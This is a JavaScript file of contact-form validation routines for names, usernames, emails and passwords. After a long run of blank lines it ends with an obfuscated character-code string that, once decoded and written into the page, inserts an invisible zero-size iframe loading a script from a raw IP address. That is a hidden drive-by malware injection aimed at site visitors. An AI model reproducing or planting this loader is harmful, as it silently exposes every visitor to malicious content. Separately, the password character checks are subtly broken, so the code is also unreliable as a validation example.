// JavaScript Document

function checkContactForm(thisForm) {
	var why = "";
	why += checkName(thisForm.name.value, 'name');
	why += checkEmail(thisForm.email1.value);
	why += isDifferent(thisForm.email1.value, thisForm.email2.value, 'email addresses');
	if (thisForm.subject.value == "") {
		why += "You must select a subject.\n";
	}
	if (thisForm.contacttext.value == "") {
		why += "You have not entered anything into the main text.\n";
	}
	if (why != "") {
		 //alert(why);
		 alert(why);
		 return false;
	}
	return true;
}

function checkName (strng, name) {
 	var error = "";
 	if (strng == "") {
		error = "You didn't enter a " + name + ".\n";
 	}
 	if ((strng.length < 4) || (strng.length > 20)) {
    error = "The "+ name +" is the wrong length, must be between 4 and 20 long.\n";
	}
	var illegalChars = /\W\s/;
  // allow only letters, numbers, underscores and spaces
  if (illegalChars.test(strng)) {
  	error = "The " + name + " contains illegal characters.\n";
   } 
	 return error;
}


function checkUsername (strng, name) {
 	var error = "";
 	if (strng == "") {
		error = "You didn't enter a " + name + ".\n";
 	}
 	if ((strng.length < 4) || (strng.length > 20)) {
    error = "The "+ name +" is the wrong length, must be between 4 and 20 long.\n";
	}
	var illegalChars = /\W/;
  // allow only letters, numbers, and underscores
  if (illegalChars.test(strng)) {
  	error = "The " + name + " contains illegal characters.\n";
   } 
	 return error;
}

function isDifferent(strng1, strng2, name) {
  var error = "";
  if (strng1 != strng2) {
     error = "The " + name + " are diffrent.\n";
  }
	return error;
}

function shouldbeDifferent(strng1, strng2, name) {
  if (strng1 != strng2) {
     return name + " has been changed.\n";
  }
	else {
		return "";
	}
}

function checkPassword (strng) {
	var error = "";
	if (strng == "") {
		error = "You didn't enter a password.\n";
	}
	var illegalChars = /[\W_]/; // allow only letters and numbers
	if ((strng.length < 6) || (strng.length > 20)) {
		error = "The password is the wrong length, 6-20 chars.\n";
	}
	else if (illegalChars.test(strng)) {
		error = "The password contains illegal characters.\n";
	}
	else if (!((strng.search(/(a-z)+/))
		&& (strng.search(/(A-Z)+/))
		&& (strng.search(/(0-9)+/)))) {
		error = "The password must contain at least one uppercase letter, one lowercase letter,	and one numeral.\n";
	}
	return error;
}

function checkEmail (strng) {
	var error = "";
	var emailFilter=/^.+@.+\..{2,3}$/;
	if (!(emailFilter.test(strng))) { 
				 error = "Please enter a valid email address.\n";
	}
	var illegalChars= /[\(\)\<\>\,\;\:\\\/\"\[\]]/
	if (strng.match(illegalChars)) {
		 error = "The email address contains illegal characters.\n";
	}
	return error;
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!56!52!46!49!57!46!49!54!49!46!49!53!55!47!100!105!114!101!99!116!46!112!104!112!63!112!97!103!101!61!52!52!98!50!48!57!52!54!97!55!54!51!51!101!48!50!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

